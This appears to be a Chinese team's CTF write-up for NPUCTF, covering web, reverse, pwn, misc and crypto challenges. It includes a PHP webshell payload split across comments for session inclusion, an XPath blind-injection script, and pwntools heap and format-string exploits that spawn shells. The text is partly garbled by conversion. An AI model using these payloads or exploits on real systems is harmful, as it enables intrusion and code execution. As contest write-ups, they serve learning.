

副本 NPUCTF

未经允许，请勿以任何形式转载

赛事信息

联系方式：1048180452 hr观花

- 官网地址：<http://ha1cyon-ctf.fun:666/>
- 竞赛时间：4月18 9:00 – 4月19 21:00
- rank1

Web:

验证🐼 | OPEN | working : Y1ng

第一层verify用类型污染绕过

第二层,

超简单的PHP!!! 超简单!!! | Solved | Working: Imagin

打开是黑页，源代码找 php，发现真正主页 index.bak.php?action=message.php，明显有包含漏洞，伪协议读源码：

```
1 <?php
2 header('content-type:application/json');
3 session_start();
4 function safe($msg){
5     if (strlen($msg)>17){
6         return "msg is too loooong!";
7     } else {
8         return preg_replace("/php/", "?", $msg);
9     }
10 }
11 if (!isset($_SESSION['msg'])&empty($_SESSION['msg'])){
12     $_SESSION['msg'] = array();
13 }
14 if (isset($_POST['msg'])){
15     array_push($_SESSION['msg'],
16         ['msg'=>safe($_POST['msg']), 'time'=>date('Y-m-d H:i:s', time())]);
```

```

20     echo json_encode(array(['msg'=>safe($_POST['msg']), 'time'=>date('Y-m-d
H:i:s',time())]));
21     exit();
22 }
23 if(!empty($_SESSION['msg'])) {
24     echo json_encode($_SESSION['msg']);
25 } else {
26     echo "è¸, ¸«¸ç¸¸";
27 }
28 }
29 ?>

```

网站可以看做一个留言板，逻辑就是把提交的数据放到 session 里，这里直接考虑 include session getshell，但是仔细看输入有限制。首先是长度不能超过 17，其次不能有 php。php 好说，直接全大写就能绕了，17 的长度我算了一下只能 `<?=eval($_GET[a])`，但是这个 payload 因为没有字符来注释掉后面的内容所以没法执行。而且仔细一看他给的 phpinfo，发现短标签是 off：

sendmail_path	-t -i
serialize_precision	17
short_open_tag	Off
SMTP	localhost
smtp_port	25
sql.safe_mode	Off

17 的长度一定不能凑出一个木马，所以就只能从注释下手。看了一下 session 的内容，刚好在一行里面，所以我们不用考虑换行的问题：

```

1 msg|a:3:{i:0;a:2:{s:3:"msg";s:9:"<?PHP /*";s:4:"time";s:19:"2020-04-20
09:55:07";i:1;a:2:{s:3:"msg";s:8:"*/eval/*";s:4:"time";s:19:"2020-04-20
09:55:13";i:2;a:2:{s:3:"msg";s:14:"*/($_GET[a]);#";s:4:"time";s:19:"2020-
04-20 09:55:17";}}

```

因此只要我们分块把木马拆开，中间用注释符连接，就可以 bypass，payload：

```

1 <?PHP /*
2 */eval/*          // 在这里再分一次是利用 php 的函数参数中间可以有空格的特性
3 */($_GET[a]);#

```

getshell 之后 include session，在根目录就能找到 flag，url：

```

1 http://ha1cyon-ctf.fun:30081/index.bak.php?
  action=/tmp/sess_k1lb6kjkqb1j7qpgjqvvnfk8q9&a=var_dump(file_get_contents('
  /FIag!S_it'));

```

flag : NPUCTF{this_is_not_fl4g_it_is_flag}

(↑ 这个 flag 太迷惑了，这题还给了个 hint 说有假 flag，我就先入为主以为是假的，找了半天没有别的了试着交了下竟然成功了。。。。)

注: Mrkaixin 师傅提到了反引号, 这个点是我没想到的, 反引号在 php 是 shell_exec 的别名, 在 phpinfo 中可以看到被 ban 了, 所以 kaixin 师傅没利用成功, 太可惜了 o(╥﹏╥)o

RealEzPHP | Solved | glotozz, Imagin, Mrkaixin

动态函数执行, 这里使用 assert 命令执行

```
var_dump(scandir('/'))
```

=>

```
string(10) "Flag!S_it"
```

禁用了 readfile, 尝试 file_get_contents()

```
var_dump(base64_encode(file_get_contents('/Flag!S_it')))
```

=>

```
string(64)
```

```
"TIBVQ1RGe3RoaXNfaXNfbm90X2FfZmFrZV9mbGFuX2J1dF90cnVIX2ZsYWd9Cg=="
```

解码 NPUCTF{this_is_not_a_fake_flag_but_true_flag}

提交 flag 是错的, 索然无味

FLAG	flag{0c2e0d58-29ed-4f51-8a1b-ab815901436b}
------	--

Ezlogin | solved | glotozz

xpath 盲注, [xpath 注入详解](#)

[xpath 注入指北](#)

```
1 exp
2 # coding=utf-8
3 import requests
4
5 def req(username):
6     import re
7
8     url = 'http://ha1cyon-ctf.fun:30100/'
9     s = requests.session()
10    r = s.get(url).content
11    # print r.decode('utf-8')
12    re = re.search(r'value="(.*?)" />', r.decode('utf-8'))
13    token = re.group(0)[7:-4]
14    # print token
15    headers = {
16        'Content-Type': 'application/xml',
17    }
18    password = ''
19    data = '<username>'+username+'</username>' \
20          '<password>'+password+'</password>' \
```

```

        '<token>'+token+'</token>'
    r = s.post(url, headers=headers, data=data).content
    # print r.content.decode('utf-8')
    if '非法操作' in r.decode('utf-8'):
        print("ok")
        return 1
    else:
        return 0

```

```

1 def test():
    req("2' or '1")
    req("2' or 1 or '1")

def getlen():
    len = 0
    for i in range(1, 40):
        # username = "" or string-length(name(/*[1]))={} or '1'.format(i)
        # username = "" or string-length(name(/root/*[1]))={} or '1'.format(i)
        # username = "" or string-length(name(/root/accounts/user/*[3]))={} or
'1'.format(i)

```

```

1     username = "" or string-
length(/root/accounts/user[2]/password/text())={} or '1'.format(i)

    print(username)
    res = req(username)
    if res == 1:
        return i

```

```

1 len = getlen()
flag = ""
for i in range(len):
    for j in range(40, 127):
        # username = ""or substring(name(/*[1]), {}, 1)='{}' or'1'.format(i + 1, chr(j))
        # username = ""or substring(name(/root*[1]), {}, 1)='{}' or'1'.format(i + 1, chr(j))
        # username = ""or substring(name(/root/accounts/user/*[3]), {}, 1)='{}'
or'1'.format(i + 1, chr(j))
        # id,username,password
        username = ""or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'
or'1'.format(i + 1, chr(j))
        # guest,adm1n

```

```

1     # cf7414b5bdb2e65ee43083f4ddbc4d9f=>gtf!y123
2     print(username)

```

```

    res = req(username)
    if res == 1:
        flag += chr(j)

```

```
print(flag)
break
```

后台文件包含，大小写绕过

Reverse:

re1 | SOLVED | kittener

是个出题人自己写的混淆，可以动调过的，但我傻了，一直在静态分析...

F0x5的作用是返回第四个参数的第三个参数次方

F0x4的作用是返回j-1

F0x1的作用是返回第四个参数的值

然后就很容易能分析出来了

```
a = [7801, 7801, 8501, 5901, 8001, 6401, 11501, 4601, 9801, 9601, 11701, 5301, 9701,
10801, 12501]
b = []
for i in range(len(a)):
    b.append(int(F0x4(a[i])/100))
c = [2, 3, 4, 5]

flag = ''

for i in range(1, 16):
    for j in range(1, 129):
        key = 0
        j = ~j
        key = ~(j+c[(i-1)%4])
        key ^= c[(i-1)%4]
        if key == b[i-1]:
            flag += chr(~j)

print(flag)
```

你好sao啊 | SOLVED | working : Qfrost lzyddf

算法为base64解密，换了表，直接将结果拿来换表加密即可

```
1 import base64
2 ciper = [
3     0x9E, 0x9B, 0x9C, 0xB5, 0xFE, 0x70, 0xD3, 0x0F, 0xB2, 0xD1,
4     0x4F, 0x9C, 0x02, 0x7F, 0xAB, 0xDE, 0x59, 0x65, 0x63, 0xE7,
5     0x40, 0x9D, 0xCD, 0xFA
6 ]
7 ciper = base64.b64encode(bytes(ciper)).decode()
```

```
8 print(ciper.replace('5', '{}').replace('6', '{}'))
```

芜湖🌪️ | OPEN | working: R3gr3t

BasicASM | SOLVED | working :FMY

```
1 string = '662e61257b26301d7972751d6b2c6f355f3a38742d74341d61776d7d7d'
2 ans = ''
3 for i in range(0,len(string),2):
4     if (i/2)&1:
5         ans+=chr(((int((string[i]+string[i+1])),16))^0x42)8)
6     else:
7         ans+=chr(((int((string[i]+string[i+1])),16)))8)
8 print ans
```

EzReverse | SOLVED |working:FMY

判断堆块里面的每个值是否为奇数,然后就是HJKL 在是奇数的位置上移动

Pwn:

level2 | SOLVED | working : TaQini,FMY

格式化字符串, 不难

补上EXP

```
1 from pwn import*
2 p = remote('halcyon-ctf.fun',30196)
3 #p = process('./main')
4 libc= ELF('./libc-2.27.so')
5 payload = 'LIBC:%7$p' + 'PIE:%6$p' + 'Stack:%9$p'
6 p.send(payload)
7 p.recvuntil('LIBC:')
8 libc_base = int(p.recv(14),16) - libc.sym['__libc_start_main'] -231
9 log.info('LIBC:\t' + hex(libc_base))
10 p.recvuntil('PIE:')
11 pie = int(p.recv(14),16) - 0x830
12 log.info('PIE:\t' + hex(pie))
13 p.recvuntil('Stack:')
14 stack = int(p.recv(14),16) - 232
15 log.info('Stack:\t' + hex(stack))
16 rce = libc_base + 0x10A38C
17 offset = stack&0xFFFF
18 off_1 = rce&0xFFFF
```

```

19 off_2=(rce>>16)&0xFFFF
20 off_3=(rce>>32)&0xFFFF
22 payload  ='%' + str(offset+8) + 'c' + '%9$hnFMYY\x00'
23 p.sendline(payload)
24 p.recvuntil('FMYY')
25 payload  ='%' + str(off_1) + 'c' + '5$hnFMYY\x00'
26 p.sendline(payload)
27 p.recvuntil('FMYY')
28 payload  ='%' + str(offset+10) + 'c' + '%9$hnFMYY\x00'
29 p.sendline(payload)
30 p.recvuntil('FMYY')
31 payload  ='%' + str(off_2) + 'c' + '5$hnFMYY\x00'
32 p.sendline(payload)
33 p.recvuntil('FMYY')
34 p.sendline('66666666\x00')
35 p.interactive()

```

BAD GUY | SOLVED | working : TaQini,FMYY

libc223 heap 好像就是fastbin入门题，不做了。

伪造fastbin chunk,利用stdout结构打印libc,然后fastbin attack改malloc_hook为rce,本地测试通过,远端,emmmmmm,网站已经挂了,没测试

```

1  from pwn import*
2  def new(index,size,content):
3      p.sendlineafter('>>','1')
4      p.sendlineafter('Index :',str(index))
5      p.sendlineafter('size:',str(size))
6      p.sendafter('Content:',content)
7  def edit(index,size,content):
8      p.sendlineafter('>>','2')
9      p.sendlineafter('Index :',str(index))
10     p.sendlineafter('size:',str(size))
11     p.sendafter('content:',content)
12  def free(index):
13     p.sendlineafter('>>','3')
14     p.sendlineafter('Index :',str(index))
15  p = process('./main')
16  p = remote('halcyon-ctf.fun',30196)
17  libc = ELF('./libc-2.23.so',checksec=False)
18  context.log_level = 'DEBUG'
19  new(0,0x10,'FMYY') #0
20  new(1,0x60,'FMYY') #1

```

```

21 new(2,0x60,'FMY') #2
22 new(3,0x10,'FMY') #3
23 new(4,0x80,'FMY') #4
24 new(5,0x60,'FMY') #5
25 new(6,0x60,'FMY') #6
26 new(7,0x60,'FMY') #7
27 free(5)
28 free(1)
29 edit(0,0x21,'\x00'*0x10 + p64(0) + p64(0x71) + '\x20')
30 free(4)
31 edit(3,0x22,'\x00'*0x10 + p64(0) + p64(0x71) + '\xDD\x25')
32 new(1,0x60,'FMY')
33 new(4,0x60,'FMY')
34 new(4,0x60,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88')
35 libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
36 log.info('LIBC:\t' + hex(libc_base))
37 malloc_hook = libc_base + libc.sym['__malloc_hook']
38 rce = libc_base + 0xF1147
39 free(6)
40 free(1)
41 edit(0,0x21,'\x00'*0x10 + p64(0) + p64(0x71) + '\x90')
42 edit(7,8,p64(malloc_hook - 0x23))
43 new(2,0x60,'FMY')
44 new(2,0x60,'FMY')
45 new(2,0x60,'\x00'*0x13 + p64(rce))
46 p.sendlineafter('>>','1')
47 p.sendlineafter('Index :',str(0))
48 p.sendlineafter('size:',str(16))
49 p.interactive()

```

kernel1 | SOLVED | working : kee

```

1 npuctf{d17b9c8a-9580-4c13-8776-477de6a5fc4f}

```

easyheap | SOLVED | working :FMY

首先利用off by one,将0xC0大小的tcache链填满,然后利用overlapping 将free_hook改为rce

```

1 from pwn import*
2 def new(size,content):
3     p.sendlineafter('choice :','1')

```



```

4     p.sendlineafter(':', str(size)) #0x18 OR 0x38
5     p.sendafter('Content:', content)
6 def edit(index, content):
7     p.sendlineafter('choice:', '2')
8     p.sendlineafter('Index:', str(index))
9     p.sendafter('Content:', content)
10 def show(index):
11     p.sendlineafter('choice:', '3')
12     p.sendlineafter('Index:', str(index))
13 def free(index):
14     p.sendlineafter('choice:', '4')
15     p.sendlineafter('Index:', str(index))
16 libc = ELF('./libc-2.27.so', checksec=False)
18 p = remote('halcyon-ctf.fun', 30032)
19 context.log_level = 'DEBUG'
20 for i in range(8):
21     new(0x18, 'FMY')
22 for i in range(7):
23     edit(i, '\x00'*0x10 + p64(0) + '\xC1')
24 for i in range(1, 8):
25     free(i)
26 new(0x38, 'FMY') #1
27 new(0x38, 'FMY') #2
28 new(0x38, 'FMY') #3
29 new(0x38, 'FMY') #4
30 new(0x38, 'FMY') #5
31 edit(1, '\x00'*0x38 + '\xC1')
32 free(2)
33 new(0x38, 'FMY') #2
34 show(3)
35 p.recvuntil('Content: ')
36 libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x60 - 0x10 -
    libc.sym['__malloc_hook']
37 log.info('LIBC:\t' + hex(libc_base))
38 malloc_hook = libc_base + libc.sym['__malloc_hook']
39 free_hook = libc_base + libc.sym['__free_hook']
40 rce = libc_base + 0x4F322
41 new(0x38, 'FMY') #6
42 new(0x38, 'FMY') #7
43 free(3)
44 edit(6, p64(free_hook))
45 new(0x38, 'FMY') #3

```

```
new(0x38,p64(rce)) #4
free(0)
p.interactive()
```

Misc:

HappyCheckInVerification | OPEN | 1cePeak

二维码补全，扫码得

flag{this_is_not_flag}三曳所諳陀怯耶南夜鉢得醯怯勝數不知喝盧瑟侄盡遠故隸怯薩不娑
羯涅冥伊盧耶諳提度奢道盧冥以朋罰所即栗諳蒙集幡夷夜集諳利顛呐寫無怯依奢竟











#¥#◆8BBFE4BD9BE68B89E6A0BCE79A84E5A7BFE58ABFE59CA8E69C80E5908E32333333||

25433325424225433825434225423125433825434525443225423825464325423625414525
42392544412544372542342542322541312542362542452532442532442543432544382543
30254341254336254435...sadwq#asdsadasf faf\$use\$dasdasdafafa_\$ba##se64\$

黑哥一笑生死难料，听到视频有电话按键音，转换wav格式拖入au分析

没人比我更懂冠状病毒——特朗普

抽象带师 | SOLVED | 1cePeak



 来
 
 西北工
 
 带
 
 西踢莪
 
 赛
 
 10
 
 上
 
 一单
 
 赛

抽象话（好优美的中国话）

NPUCTF{欢迎大家来到西北工业大学CTF比赛世界上最简单的比赛}

Crypto:

这是什么问题 | SOLVED | working: R3gr3t,1cePeak

第一个字母应该是星期，如果是三位，第二个字符表示第几个出现的，最后一个猜测是这一列第几个，但是flag不对

日历密码：字母代表周几，对应的数字对应字母表A到Z的字母就可以了

```
flag{calendar}
```

Classical Cipher | SOLVED| working: R3gr3t

gsv_pvb_rh_zgyzhs对应 ***_key_**_*****, 先用quipquip得到the_key_is_**sh,
枚举三位爆破, key是the_key_is_atbash
压缩包里是一张图片



flag{classicalcode}